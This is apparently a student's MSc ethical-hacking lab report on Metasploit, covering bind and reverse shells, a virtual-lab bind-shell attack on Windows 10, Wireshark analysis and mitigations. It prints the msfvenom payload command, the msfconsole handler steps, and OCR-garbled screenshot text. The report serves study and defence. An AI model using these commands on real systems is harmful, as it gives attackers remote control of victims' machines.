


[image: A close-up of black text

Description automatically generated]

University of Wales Trinity Saint David
Welsh Institute of Sciences and Art (WISA)
Simon Rees
MSc Cybersecurity and Digital Forensics
Ethical Hacking (ACC70033)
Checkpoint 1: Metasploit Report and Lab
[image: A blue and white logo

Description automatically generated]









Table of Content
1. Introduction
1. Overview of Metasploit
1. Functionalities and Capabilities of Metasploit Framework
1. Comparison between Reverse Shell and Bind Shell
1. Usage of Reverse Shell and Bind Shell
1. Creating a Bind Shell with Meterpreter sessions in a lab environment
1. Analysis of the Bind Shell Attack
1. Mitigation Plan
1. Conclusion
1. Table of references
List of Figures
Figure 1- Reverse Shell - Connection initiated by the Target PC	5
Figure 2 - BIND Shell - Connection initiated by the Attack PC	6
Figure 3 - Flowchart showing the process of carrying out the BIND Shell attack	8
Figure 4 - Checking IP Address and creating working folder	10
Figure 5 - Using msfvenom meterpreter to generate the bind shell payload	10
Figure 6 - Confirming that the bind.exe payload has been created and is located in the temp working folder	10
Figure 7 - Running the http server on the Kali attack PC in the temp folder	11
Figure 8 - On the Windows 10 PC - Browsing to the Kali attack PC on Port 8080	11
Figure 9 - Windows 10 Microsoft Defender warning that the file may not be safe and to ensure that it is trusted before opening	11
Figure 10 - Once again Microsoft Defender blocking the bind.exe shell from running	12
Figure 11 - On the Kali PC - the HTTP log showing the bind.exe file being downloaded.  It took a few attempts!	12
Figure 12 - Running the mfsconsole. This lab was carried out on Halloween, and therefore the reference to the Mummy.	13
Figure 13 - Screenshare being set up via the mfsconsole	14
Figure 14 - Screenshare in action - the Windows 10 PC desktop is visible from the Kali attack PC	14
Figure 15 - The initial 3 way handshake being carried out - initiated by the Kali Attack PC on port 38891 to port 4444 on the Target PC	15
Figure 16 - Constant stream of traffic between the two PCs, windows size increases to 2102272	15
Figure 17 - New session initiated by Kali to 34.117.237.239	15
Figure 18 - Filtering the Wireshark capture on tcp stream 0 to isolate the traffic between the Attacker and Target PCs	15
Figure 19 - Graph displaying the traffic between the two PCs on tcp stream 0	16
Figure 20 - Wireshark trace showing packet 163 and subsequent packets	16
Figure 21 - Wireshark trace showing the Metasploit session being closed down	16
Figure 22 - Windows 10 PC sending Acknowledgements to the Attacker's PC for Packet 5998	17

List of Tables
Table 1-MSF Interfaces [3] [4]	4
Table 2- MSF Modules [1] [4] [6]	4
Table 3 - Mitigation Items to prevent or assist with a cybersecurity attack	18

1. Introduction

Ethical Statement: 
As required all Metasploit lab work contained in this document has been carried out within the Virtual Environment lab, abiding by the University of Wales Trinity St David (UWTSD) Acceptable Use Policy (AUP).
The Metasploit Framework has so many facets to it that it would be impossible to capture all of the capabilities of this tool in a single brief report.  Therefore, it has been attempted to highlight the main features and capabilities of this very powerful pen testing tool in the following report.  The report also contains the results of the Bind Shell lab which was successfully completed.

2. Overview of Metasploit

The Metasploit Framework (MSF) is regarded as an open-source cybersecurity auditing tool for Pen testers and ethical hackers, of course this framework can also be used for nefarious purposes.  
Metasploit was developed by Rapid 7 that describe their product as a: -
“Penetration testing software for offensive security teams.” [1]
It could be seen as counter-productive to develop a tool that could be used by malicious hackers to attack systems using their software.  
The purpose of the Metasploit can be summed up in following comment by Jason Leitner, Vulnerability Management Engineer at the Brady Corporation: -
“With Nexpose and Metasploit, we saw a 70% decrease in vulnerabilities over the course of a year.  That really helps us move the business forward.” [1]
The Nexpose (which is sometimes written as NeXpose) application mentioned in the above quote is a vulnerability scanner also developed by Rapid 7.  Nexpose is available as a paid for produce which is called just Nexpose, or as a free product called Nexpose Community.  It appears that the Nexpose vulnerability scanner can be integrated with Metasploit Pro both of which need to be paid for [2].  
Therefore, the mindset behind developing this software is to improve cybersecurity by giving engineers the opportunity to test and examine exploits so that a solution can be put in place before the systems are targeted in a real live attack.
Metasploit is available in three editions [3] [4]:- 
· Metasploit Framework (Free to use)
· Metasploit Express (Paid for Product)
· Metasploit Pro (Paid for product)


As expected, there are many more features to the Pro version that is aimed at Professional penetration (aka pen) testing companies.  Some of the additional features that come with Pro include: -
· Network discovery 
· Pen test reporting
· Web interface (GUI)
· Automated Brute forcing
· Integrations via remote API


3. Functionalities and Capabilities of Metasploit Framework

Metasploit has so many facets to it that it would take a very lengthy report to describe every capability of this software.  At a very high level the Metasploit Framework (MSF) can be used as an information gathering tool (including a tool that can detect passwords being sent via unencrypted protocols). It can also be used as a vulnerability scanner, and for Enumeration.  Moreover, it allows a user to create and deploy exploits for a variety of systems and has the ability to provide Command and Control (C2) capabilities.  It truly is a versatile tool that that could be very useful at every stage of the Cyber Kill chain [5].  
The MSF can also be used for Fuzz testing, whereby unexpected values are sent to a programme.  This is a test to find out how the programme deals with error handling.  Sometimes the programme may provide details to the attacker unintentionally or crash due to improper error handing.  
MSF can also be used for client-side attacks, these involve user interaction such as clicking on a link in an email to download a programme.  MSF can create Trojans to deliver this type of payload by embedding it within another innocuous programme such as a game [4].
Once the initial attack has been carried out successfully there are post exploit techniques that can be used.  These techniques include: -
· Maintaining a presence on the network, 
· Privilege escalation, 
· Impersonating valid tokens (it is then possible to impersonate a member of staff, without requiring their credentials).  

MSF can also achieve the goal of pivoting on the network, so that the hacker can then access further devices on the network from the PC that was initially compromised. The MSF can also be used to maintain access by setting up backdoors.  These are installed onto the network to allow the attacker access if the main access method were to be discovered and resolved at the target location.  




3.2 MSF Interfaces
There are several interfaces that can be used to interact with the MSF, these include: - 
[bookmark: _Toc150084812]Table 1-MSF Interfaces [3] [4]
	Interface
	Description

	Mfsconsole
	This provides access to most of the options available in the MSF.  This is the most widely used interface

	Mfscli
	Command line interface for the MSF and is useful in scripting exploits

	msfvenom 
	Payload Generator: Can be used to create payloads that can be sent to the target machine.

	mfs-hmac_sha1_crack
	This tool allows the user to attempt to crack sha1 hash files stored on a (Hashed Message Authentication Code) HMAC that are used to store private cryptographic keys.

	Msfdb
	Interact with the MSF data base, which allows the user to interact with the MSF’s built in PotgreSQL database. This can be used by pen testers to store data from their investigations.

	msf-md5_lookup
	This command allows the user to lookup md5 hash files against a database

	Msfrpc
	Allows the MSF to interact with the Remote Procedure Call (RPC) protocol

	msf-virustotal
	Allows the MSF to interact with the Virus Total API in order to run virus scans on files



3.3 MSF Modules
The MSF has a modular framework and consists of the following modules:
[bookmark: _Toc150084813]Table 2- MSF Modules [1] [4] [6]
	Module
	Description

	auxiliary  
	Analysing (Password Cracking), Gathering (Enumeration), Scanning (For Vulnerabilities), Denial of Service, 

	encoders  
	Can take Raw Bytes and run encoding algorithms against them

	exploits  
	These are separated into two categories Active and Passive used to exploit vulnerabilities and execute payloads

	nops  
	No – Operation module.  Sometimes used with Buffer Overflows

	payloads
	Encapsulates the shellcode which is executed if an exploit is successful.
Can be Single (Inline) simpler self-contained – Limitation doesn’t support all exploits.

<platform>/<architecture(optional)>/<single>

The staged payloads that take the format: -
      <platform>/<architecture(optional)>/<stage>/<stager>
i.e., Windows/x64/meterpreter/reverse_tcp

Stager = Sets up the network connection to the target 
(IP Address & Port are specified in the Stager)
Stage = Meterpreter, vncinjection and shell are all examples of stages
 A stage is an advanced payload that communicates over the stager socket and provides a comprehensive client-side Application Programme Interface (API)

	post
	Can be used to gather and enumerate data from a session

	evasion
	Evasive payload generator attempts to evade detection by Anti-Virus software


3.4 Overview of Payloads: Stages and Stagers. 

The stagers provide the connectivity between the attacker’s PC and the target’s PC using the IP address and Port numbers which are specified during the setup of the attack.  Whilst the stages provide a client-side API that allows the attacker to interact with the target PC.  

· The Stagers can be thought of as providing connectivity on layers 3 and 4 of the OSI model.
· The Stage can be thought of as providing connectivity at layers 5 to 7.  

Once connected to a target PC via a stage, for example Meterpreter, it is possible to run over twenty commands on the target system as if the attacker were logged into the target PC directly.    These commands allow the hacker to carry out a range of attacks including uploading, downloading, searching for and editing files, access a command line shell on the target system to name but a few available features. 
4. Comparison between Reverse Shell and Bind Shell

Both reverse and bind shell techniques come under the heading of client-side attacks, where user interaction is required so that the payload is downloaded.  The main difference between a reverse and bind shell is simply which device initiates the connection.  
With the reverse shell method, the attacker sends the payload to the target using social engineering techniques.  These techniques could include sending a spam email which is an unsolicited email sent to a large group of people.  Or could be a phishing email that is more tailored to the recipient.  Another method is by enticing the user to visit a website and download the payload to their PC, which is the method used in the Lab in section 7.2 (Carrying out the Bind shell attack in a virtual environment). 
When the user opens the payload on the target machine, this has the affect of initiating a session back to the attackers PC.  This is illustrated in the diagram below whereby the connection is initiated by the target PC.[image: A computer screen shot of a computer
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[bookmark: _Toc150072417]Figure 1- Reverse Shell - Connection initiated by the Target PC
With the Bind shell method, the attacker sends the payload just as in the previous example.  The main difference is that the payload now opens the port on the target PC that allows the attacker’s PC to set up a connection.  This is illustrated below.  This time the connection is initiated by the attacker’s PC after the specified port has been opened by the payload.
[image: A computer screen shot of a red box and blue box
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[bookmark: _Toc150072418]Figure 2 - BIND Shell - Connection initiated by the Attack PC
5. Usage of Reverse Shell and Bind Shell
5.1 Reverse Shell Usage scenario
The reverse shell method would be the most appropriate method of attack in a scenario where the target is behind a firewall.  This is because the connection is initiated by the target machine.  The connection is made outbound which most firewalls would allow the traffic through.  Once the connection has been established to the attacker’s PC, any incoming traffic will be allowed through the firewall to the target machine as the session has opened.  This is known as a reflexive outbound rule where connections originating from within the network are allowed through holding the session open for inbound network traffic.  This is done whilst blocking traffic originating from outside of the network [7].
The main drawback to the reverse shell method is that as the connection is initiated by the target PC, once the connection has dropped, then it would need to be re-established once again by the target.
Presumably once the connection has been established using the reverse shell method, the attacker would first place a back door onto the target system so that they would be able to access the target PC even if the reverse shell session is dropped.
Another drawback to the reverse shell method is that the attacker must wait for the target to open the payload and setup the connection.  If the attacker misses this window of opportunity, then this connection cannot be made.   




5.2 Bind Shell Usage scenario

The bind shell method opens a specified port on the target PC waiting for the attacker to set up the connection initiated by the attacker’s PC.  The main benefit of the bind shell method is that if the session is dropped then the attacker can re-establish the connection from the attacker’s PC. As this does not require any action by the target then the attacker will be able to connect multiple times to the target PC.  
During the Lab session, which was held over two successive evenings, where the virtual lab PCs were powered off, it was noted that on the second evening the bind shell payload needed to be deployed a second time.  This proves that the bind shell exploit would need to be re-ran after a PC has been re-booted, and therefore does not guarantee persistence.  
The bind shell method would be most suitably run from within the same network as the target PC as the connection would be initiated by the attacker.  This connection would be blocked by default by most firewalls; however it is understood there are techniques that can be used to overcome this.
One possible scenario could be a drop box stealthily placed on the network.  This could simply be a raspberry pi, that is programmed to make an outbound connection to an attacker’s PC.  Once that connection has been established between the drop box and the attacker’s PC a bind shell can then be setup from the drop box to the target PC.  
There are several draw backs to this scenario:
· It would require physical access to the target network, making it more likely that the attacker would be caught.
· It would require the attacker to either access the communications room to connect the drop box directly to the switch, or to find an open data point.  This presumes that the organisation is not filtering connectivity based on MAC address.
· If the drop box were found by either the security or IT staff, it might be used to locate the attacker, and could be used as evidence in any subsequent court proceedings.
 









6. Creating a Bind Shell with Meterpreter sessions in a lab environment

There were several steps to this attack, which are best illustrated in the form of a flowchart, which can be found below: -
[image: A diagram of a computer program
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[bookmark: _Toc150072419]Figure 3 - Flowchart showing the process of carrying out the BIND Shell attack.





7.1 Setting up the BIND Shell lab work in the virtual environment.

Two PCs were configured to carry out this lab, a Kali attack PC and a Windows 10 target PC, as detailed below: -
[image: A computer screen shot of a red box and blue box
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Figure 2 - BIND Shell - Connection initiated by the Attack PC (Entered again here to be on the same page as the commands).
Here are the commands that were carried out during this lab exercise: - 
On the Kali attack PC: - 
msfvenom -p windows/meterpreter/bind_tcp -f exe > /home/kali/temp/bind.exe
python3 -m http.server 8080
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multihandler) > set payload windows/meterperter/bind_tcp
msf6 exploit(multihandler) > set rhost 10.0.2.5
msf6 exploit(multihandler) > set lport 4444
exploit

On the Windows 10 target PC: -
It would be necessary for the target user to disable Windows Defender Real Time protection to download the bind.exe file.  When this was attempted initially the file was downloaded but was saved as an unusable format.  Once Realtime protection was disabled, it would still challenge the installation, and required that the target user instruct the PC that they wanted to Keep the file and to run anyway.


6.2 Carrying out the bind shell attack in a virtual lab environment.

[image: ]
[bookmark: _Toc150072420]Figure 4 - Checking IP Address and creating working folder.

[image: ]
[bookmark: _Toc150072421]Figure 5 - Using msfvenom meterpreter to generate the bind shell payload.
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[bookmark: _Toc150072422]Figure 6 - Confirming that the bind.exe payload has been created and is located in the temp working folder.

[image: A black background with white text
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[bookmark: _Toc150072423]Figure 7 - Running the http server on the Kali attack PC in the temp folder.
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[bookmark: _Toc150072424]Figure 8 - On the Windows 10 PC - Browsing to the Kali attack PC on Port 8080.
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[bookmark: _Toc150072425]Figure 9 - Windows 10 Microsoft Defender warning that the file may not be safe and to ensure that it is trusted before opening.
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[bookmark: _Toc150072426]Figure 10 - Once again Microsoft Defender blocking the bind.exe shell from running.
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[bookmark: _Toc150072427]Figure 11 - On the Kali PC - the HTTP log showing the bind.exe file being downloaded.  It took a few attempts!

[image: A screen shot of a computer
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[bookmark: _Toc150072428]Figure 12 - Running the mfsconsole. This lab was carried out on Halloween, and therefore the reference to the Mummy.

Apologies, the screenshot of the original mfsconsole commands being applied seem to have been lost.  Please find the commands that were used during this section of the labwork.
msfconsole 
msf6 > use exploit/multi/handler
msf6 exploit(multihandler) > set payload windows/meterperter/bind_tcp
msf6 exploit(multihandler) > set rhost 10.0.2.5
msf6 exploit(multihandler) > set lport 4444
exploit



[image: A screenshot of a computer
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[bookmark: _Toc150072429]Figure 13 - Screenshare being set up via the mfsconsole

[image: A computer screen shot of a computer
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[bookmark: _Toc150072430]Figure 14 - Screenshare in action - the Windows 10 PC desktop is visible from the Kali attack PC.









7. Analysis of the Bind Shell Attack

The below analysis was carried out from Wireshark captures carried out during the attack on both the Kali Attack PC and the Windows 10 target PC.  The results of which can be found below.

8.1 Analysis from the perspective of the Kali attack PC.

[image: A screenshot of a computer
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[bookmark: _Toc150072431]Figure 15 - The initial 3-way handshake being carried out - initiated by the Kali Attack PC on port 38891 to port 4444 on the Target PC.
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[bookmark: _Toc150072432]Figure 16 - Constant stream of traffic between the two PCs, windows size increases to 2102272.

[image: ]
[bookmark: _Toc150072433]Figure 17 - New session initiated by Kali to 34.117.237.239.
Using a Whois tool, this was found to be a connection to Google Cloud services.
[image: A screenshot of a computer
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[bookmark: _Toc150072434]Figure 18 - Filtering the Wireshark capture on TCP stream 0 to isolate the traffic between the Attacker and Target PCs.
This was unexpected, it appears that the traffic between the attacker PC and the target PC are consistently using the TCP protocol and the PSH, ACK and ACK flags. The above screenshot shows packets being sent when the msfconsole screenshare session was in progress.  It had been anticipated that this traffic would have been UDP.  The packet number 1518, Seq=7280782 was marked so that the corresponding packet can be located on the windows PC for analysis.
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[bookmark: _Toc150072435]Figure 19 - Graph displaying the traffic between the two PCs on TCP stream 0
It can be seen from the graph above that when the screenshare session was initiated in packet 163, the sequence number of packets increased substantially. 
[image: ]
[bookmark: _Toc150072436]Figure 20 - Wireshark trace showing packet 163 and subsequent packets.
Packet 163 (Sequence #5998) in the Wireshark trace is from the target PC to the attacker PC, as is the packet 164, but this time the packet length and data has increased.  Data being 20440 bytes which increases to 20494 once the packet header has been added. 
[image: ]
[bookmark: _Toc150072437]Figure 21 - Wireshark trace showing the Metasploit session being closed.
Packet 2577 is a Fin Ack packet and is a response to packet 2576 (Seq ending in 7390) sent from the attacker’s PC.  This is interesting as it was expected that packet 2576 would have had its FIN flag set.


7.2 Analysis from the perspective of the Windows 10 target PC.

The text below was copied from a netstat capture on the Windows 10 PC, this shows the TCP connection between the attacker PC and the target PC.  If there had been sufficient time, the next step would have been to investigate the process ID number 6220 to determine the nature of the programme being ran.

  TCP    10.0.2.5:139           0.0.0.0:0              LISTENING       4
 Can not obtain ownership information
  TCP    10.0.2.5:4444          10.0.2.6:38891         ESTABLISHED     6220
 [bind.exe]
  TCP    10.0.2.5:49674         20.90.153.243:443      ESTABLISHED     600
  ProfSvc
 [svchost.exe]

On the Wireshark trace of the Windows 10 PC, the corresponding two packets high-lighted previously were located for analysis.

[image: A screenshot of a computer
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[bookmark: _Toc150072438]Figure 22 - Windows 10 PC sending Acknowledgements to the Attacker's PC for Packet 5998.
The above Wireshark capture shows the reply to the packet with the sequence number 5998, which is believed to have initiated the screenshare session.  

7.3 Findings of Analysis

It was noted that many packets in this TCP stream had the Acknowledge flag set and were from the attacker’s PC.
This was unexpected, as it had been anticipated that most of the traffic from the screenshare session would have originated from the Target PC and would have been UDP.
If a network engineer were investigating the nature of this data, they wouldn’t necessarily think that the traffic was streaming a desktop, as the software is not using a recognised port used for streaming. Additionally, as the session is using the TCP protocol, not the expected UDP (User Datagram Protocol) or QUIC (Quick UDP Internet Connections), the network engineer would be uncertain as to what this traffic was, as this traffic would not be associated with video streaming.  It appears from the wireshark trace that the traffic is also encrypted between the Attacker and Target pc, this would make identification much more difficult.
The only give away would have been that port 4444 was in use and is the unofficial default listener port for MSF.  However, it should be noted that the listener port can be selected by the attacker so could be configured as another well-known port, that would be more difficult to detect.  
From this trace, the only information that the IT technician would be able to find would be the Source and Destination IP Addresses and Port numbers, and the amount of traffic being transferred.  This would make it intentionally more difficult for the IT technician to identity this traffic and they would need to investigate this incident further.
8. Mitigation Plan
To prevent cybersecurity attacks it is highly recommended to use a defence in depth approach, as this will make an attack far more difficult for the malicious hacker also if one single security device were to develop a vulnerability or become compromised then it wouldn’t mean a complete breach of security.  
The proposed mitigations below either prevent a bind shell attack from being carried out, or would assist in the event of a successful attack: -
[bookmark: _Toc150084814]Table 3 - Mitigation Items to prevent or assist with a cybersecurity attack.
	Technique
	Description

	Cyber security awareness training for end users.
	To ensure staff are made aware of SPAM and phishing emails, and that they are advised not to click on links in email or open attachments from unknown sources.

	Installation of Stateful Firewalls 
(Next Generation Firewalls)
	These firewalls can monitor traffic and detect suspicious activity. They can also have Unified Threat Management (UTM) capabilities that can carry out content and web filtering

	Ensuring that insecure devices are removed from the network.
	This would include PCs with outdated and vulnerable Operating systems (OS)

	Patching Regime.
	Ensuring that the Operating System and installed programmes are up to date

	Install an Endpoint Detection and Response (EDR) tools.
	EDR tools can be used to protect the PC from threats such as those posed by MSF.

	Ensure that security settings are configured on the PC.
	To ensure that Windows Defender Real Time protection and firewalls are enabled on PCs.

	Enable Microsoft (MS) Advanced Threat Protection (ATP) and MS safe links
	This would filter the users emails, and would ensure that if the user clicked on a link that it is safe before it is opened on the PC. 

	System Hardening.
	Disabling Ports and services that are not required, ensuring that only secure protocols are in use.  Disabling unencrypted protocols.

	Vulnerability scanning.
	Running regular vulnerability scans on the network will highlight any systems that have insecure protocols enabled and would provide a report of any systems that require patching. This report would provide a list of devices and give a vulnerability score against them using the Common Vulnerability Scoring System (CVSS).  
This could also be used to find rogue devices on the network.

	Implementation of Intrusion Detection and Prevention systems.
	These can be deployed on the network or on the host itself and would be able to detect suspicious activity.

	Physical Security of Comms and Server rooms.
	Ensuring that only authorised personnel have access to these critical locations.

	Ensuring that an Incident Response (IR) Plan is in place [8].
	Preparation
Identification
Containment
Eradication
Recovery
Lessons Learned


 
9. Conclusion

The MSF is a very powerful tool that has far more functionality than could be covered in this single report.  The MSF is an open-source product that cybersecurity experts are continually working on to add additional features and tools to improve its capabilities so the MSF will continue to grow in future.
It is appreciated that this tool is invaluable for penetration testers and provides a whole host of features that can be used to improve cybersecurity for their customers.  On the other hand, it is evident that this tool could be used for malicious purposes and could potentially cause a lot of damage in the wrong hands. 
To become a Cybersecurity Engineer, it can be seen from my research and the lab exercise that having in depth knowledge of the MSF is crucial. To obtain the level of knowledge required it is intended that MSF will be used as part of the assignment for this module.  As a continuation of this introductory report the next step is to install a metasploitable device in the virtual environment within the cybersecurity lab to carry out further testing of the MSF.
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$ ifconfig
eth®: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.8.2.6 netmask 255.255.255.8 broadcast 10.0.2.255
inet6 feB80::280:7dc2:7da5:7540 prefixlen 64 scopeid @x2@8<link>
ether @8:080:27:cb:7e:f5 txqueuelen 1008 (Ethernet)
RX packets 48291 bytes 71484907 (68.1 MiB)
RX errors @ dropped @ overruns @ frame @
TX packets 4761 bytes 432122 (421.9 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.8.8.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid @x1@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 24 bytes 1248 (1.2 KiB)
RX errors @ dropped @ overruns @ frame @
TX packets 24 bytes 1248 (1.2 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

(kali® kali)-[~]
[:; mkdir temp

1s
Desktop Documents Downloads html_links_20231830_@83214.txt Music Pictures

L—uu\ie kali)-[~]
$

E(lﬂlie kali)-[~]
% cd /home/kali/temp/

—(kali kali)-[~/temp]

Public targetfiles

temp Templates

Videos




image7.jpeg
\ L—(kaliﬁ kali)-[~/temp]
§ msfvenom -p windows/meterpreter/bind_tcp -f exe > /home/kali/temp/bind.exe
[-]1 No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-]1 No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 326 bytes
Final size of exe file: 738082 bytes

L—(Iluliﬁ kali)-[~/temp]
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L—(hlighli%[-ltemp]
$ python3 -m http.server 8880
Serving HTTP on port 8888 (http://@.
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4 MS Windows 10 (Windows 10 Snapshot 1) [Running] - Oracle VM VirtualBox
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Windows protected your PC

Microsoft Defender SmartScreen prevented an unrecognised app from
starting. Running this app might put your PC at risk.

Appiication: bind (1).exe
Publisher:  Unknown publisher
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(kali® kali)-[~/temp]
'~% python3 -m http.server 8080

Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8088/) ...

10.8.2.4 - - [31/0ct/2023 14:00:26] "GET / HTTP/1.1" 200 -

10.08.2.4 - - [31/0ct/2023 14:00:26] code 404, message File not found
10.0.2.4 - - [31/0ct/2023 14:00:26] "GET /favicon.ico HTTP/1.1" 4@4 -
10.8.2.4 - - [31/0ct/2023 14:01:18] "GET /bind.exe HTTP/1.1" 200 -
10.8.2.4 - - [31/0ct/2023 14:01:18] code 404, message File not found
10.8.2.4 - - [31/0ct/2023 14:01:18] "GET /favicon.ico HTTP/1.1" 4@4 -
10.8.2.5 - - [31/0ct/2023 14:08:29] "GET / HTTP/1.1" 200 -

10.8.2.5 - - [31/0ct/2023 14:08:32] code 404, message File not found
10.8.2.5 - - [31/0ct/2023 14:08:32] "GET /favicon.ico HTTP/1.1" 4@4 -
10.8.2.5 - - [31/0ct/2023 14:09:08] "GET /bind.exe HTTP/1.1" 200 -
10.8.2.5 - - [31/0ct/2023 14:11:36] "GET /bind.exe HTTP/1.1" 304 -
10.8.2.5 - - [31/0ct/2023 14:13:42] "GET /bind.exe HTTP/1.1" 304 -
10.8.2.5 - - [31/0ct/2023 14:19:57] "GET /bind.exe HTTP/1.1" 304 -
18.8.2.5 - - [31/0ct/2@23 14:25:52] "GET / HTTP/1.1" 288 -

10.8.2.5 - - [31/0ct/2023 14:25:53] code 404, message File not found
10.8.2.5 - - [31/0ct/2023 14:25:53] "GET /favicon.ico HTTP/1.1" 4@4 -
10.8.2.5 - - [31/0ct/2023 14:26:00] "GET /bind.exe HTTP/1.1" 304 -

0
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=[ metasploit v6.3.27-dev 1
+ — —=[ 2335 exploits - 1220 auxiliary - 413 post ]
+ — —=[ 1382 payloads - 46 encoders - 11 nops 1]
+ — —=[ 9 evasion 1

Metasploit tip: View missing module options with show
missing
Metasploit Documentation: https://docs.metasploit.com/
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M BIND SHELL WITH Screenshare Kali.pcapng - o
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
TTRE Qe=sEges = Qaail
[Apply a display filter ... <Ctri-/> =2

No. Time Source Destination Protocol  Length Info

32023-11-01 17:38:18.915933621 10.0.2.6 54 38891 > 4444 [ACK] Seq=1 Ack=1 Win=64256 Len=0
42023-11-01 1; 19.060974675 10.0.2.6 10.0.2.5 TCP 58 38891 > 4444 [PSH, ACK] Seq=1 Ack=1 Win=64256 Len=4
5 2023-11-01 17:38:19.061687710 10.0.2.6 10.0.2.5 TCP 7354 38891 > 4444 [PSH, ACK] Seq=5 Ack=1 Win=64256 Len=7300
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M BIND SHELL WITH Screenshare Kali.pcapng = a X

cs Telephon

[ ¥ 1S

+ Aeron 10025 10026
No. Time Source Destination Protocol  Length Info

232 2023-11-01 17:41:14.555532632 10.0.2.6 10.0.2.5 TCP 11734 38891 > 4444 [PSH, ACK] Seq=1087430 Ack=207790 Win=133632 Len=11680

233 2023-11-01 17:41:14.555588062 10.0.2.6 10.0.2.5 TCP 2974 38891 » 4444 [PSH, ACK] Seq=1099110 Ack=207790 Win=133632 Len=2920 I

234 2023-11-01 17:41:14.555754045 10.0.2.5 10.0.2.6 TCP 60 4444 > 38891 [ACK] Seq=207790 Ack=1087430 Win=2102272 Len=0

235 2023-11-01 17:41:14.555760174 10.0.2.6 10.0.2.5 TCP 40934 38891 > 4444 [PSH, ACK] Se: 102030 Ack=207790 Wir 33632 Len=40880

236 2023-11-01 17:41:14.555769789 10.0.2.6 10.0.2.5 TCP 20494 38891 > 4444 [PSH, ACK] Seq=1142910 Ack=207790 Win=133632 Len=20440

237 2023-11-01 17:41:14.555828266 10.0.2.6 10.0.2.5 TCP 5894 38891 » 4444 [PSH, ACK] Seq=1163350 Ack=207790 Win=133632 Len=5840

238 2023-11-01 17:41:14.555953397 10.0.2.5 10.0.2.6 TCP 60 4444 > 38891 [ACK] Seq=207790 Ack=1113710 Win=2102272 Len=0

239 2023-11-01 17:41:14.555959166 10.0.2.6 10.0.2.5 TCP 52614 38891 » 4444 [PSH, ACK] Seq=1169190 Ack=207790 Win=133632 Len=52560

240 2023-11-01 17:41:14.556126860 10.0.2.5 10.0.2.6 TCP 60 4444 > 38891 [ACK] Seq=207790 Ack=1160430 Win=2102272 Len=0

241 2023-11-01 17:41:14.556133297 10.0.2.6 10.0.2.5 TCP 414 38891 » 4444 [PSH, ACK] Seq=1221750 Ack=207790@ Win=133632 Len=360

242 2023-11-01 17:41:14.556190932 10.0.2.5 10.0.2.6 TCP 60 4444 > 38891 [ACK] Seq=207790 Ack=1169190 Win=2097920 Len=0

243 2023-11-01 17:41:14.556190997 10.0.2.5 10.0.2.6 TCP 60 [TCP Window Update] 4444 > 38891 [ACK] Seq=207790 Ack=1169190 Win=2102272 Len=0

244 2023-11-01 17:41:14.556388717 10.0.2.5 10.0.2.6 TCP 60 4444 > 38891 [ACK] Seq: 215910 Win=2102272 Len=0
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No. Time Source Destination Protocol  Length Info
446 2023-11-01 17:41:20.687635380 10.0.2.5 10.0.2.6 TCP 60 4444 > 38891 [ACK] Seq=544110 Ack=2231870 Win=2102016 Len=0

449 2023-11-01 17:41:21.226075767 10.0.2.6 34.117.237.239 TCP 54 56270 > 443 [ACK] Seq=1 Ack=1 Win=64240 Len=0
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A - (=] X
Am @ T RE Q &= sEEaqaE
[tcp.stream eq 0 BED -+ Filteron 10025 10.0.2.6

No. Time Source Destination Protocol Length Info

1466 2023-11-01 .280237293 10.0.2.5 10.0.2.6 TP 5542 4444 > 38891 ACK] Seq=2087646 Ack=7280670 Win=2102272 Len=5488

1467 2023-11-01 .280242598 10.0.2.6 10.0.2.5 TP 5438891 > 4444 Seq=7280670 Ack=2093134 Win=1048832 Len=0

1469 2023-11-01 .490386416 10.0.2.6 10.0.2.5 TP 166 38891 > 4444 ACK] Seq=7280670 Ack=2093134 Win=1048832 Len=112

1471 2023-11-01 .542686962 10.0.2.5 10.0.2.6 TP 60 4444 > 38891 Seq=2093134 Ack=7280782 Win=2102272 Len=0

1472 2023-11-01 .542786811 10.0.2.5 10.0.2.6 TP 342 4444 > 38891 ACK] Seq=2093134 Ack=7280782 Win=2102272 Len=288

1473 2023-11-01 542800215 10.0.2.6 10.0.2.5 TCP 54 38891 > 4444 Seq=7280782 Ack=2093422 Win=1048832 Len=0

1519 2023-11-01 .276325436 10.0.2.6 10.0.2.5 TCP 7354 38891 > 4444 300

1520 2023-11-01 .276594079 10.0.2.5 10.0.2.6 TCP 60 4444 > 38891 [ACK] Seq=2093422 Ack=7295382 Win=2102272 Len=0 1
1521 2023-11-01 .276609393 10.0.2.6 10.0.2.5 TCP 14654 38891 > 4444 [PSH, ACK] Seq=7295382 Ack=2093422 Win=1048832 Len=14600

1522 2023-11-01 .276626139 10.0.2.6 10.0.2.5 TCP 14654 38891 > 4444 [PSH, ACK] Se 4600

1523 2023-11-01 276775745 10.0.2.5 10.0.2.6 TCP 60 4444 > 38891 [ACK] Seq=2093422 Ack=7309982 Win=2102272 Len=0

1524 2023-11-01 .276782157 10.0.2.6 10.0.2.5 TCP 21954 38891 > 4444 [PSH, ACK] Seq=7324582 Ack=2093422 Win=1048832 Len=21900

1525 2023-11-01 .276846662 10.0.2.6 10.0.2.5 TCP 7354 38891 > 4444 [PSH, ACK] Seq=7346482 Ack=2093422 Win=1048832 Len=7300

1526 2023-11-01 276977291 10.0.2.5 10.0.2.6 TCP 60 4444 > 38891 [ACK] Seq=2093422 Ack=7346482 Win=2102272 Len=0
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No. Time.
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0 51 [ACK]
10.0.2.6 TP 20494 4444 > 38891 [ACK] Seq=5998 Ack=616254 Win:

164 2023-11-01 17:41:11.684184668 10.0.2.

165 2023-11-01 17:41:11.684216475 10.0.2. 10.0.2.5 TCP 54 38891 > 4444 [ACK] Seq=616254 Ack=26438 Win=51968 Len=0

166 2023-11-01 17:41:11.684515885 10.0.2. 10.0.2.6 TCP 32174 4444 > 38891 [ACK] Seq=26438 Ack=616254 Win=2102272 Len=32120

167 2023-11-01 17:41:11.684589547 10.0.2. 10.0.2.5 TCP 54 38891 > 4444 [ACK] Seq=616254 Ack=58558 Win=64128 Len=0

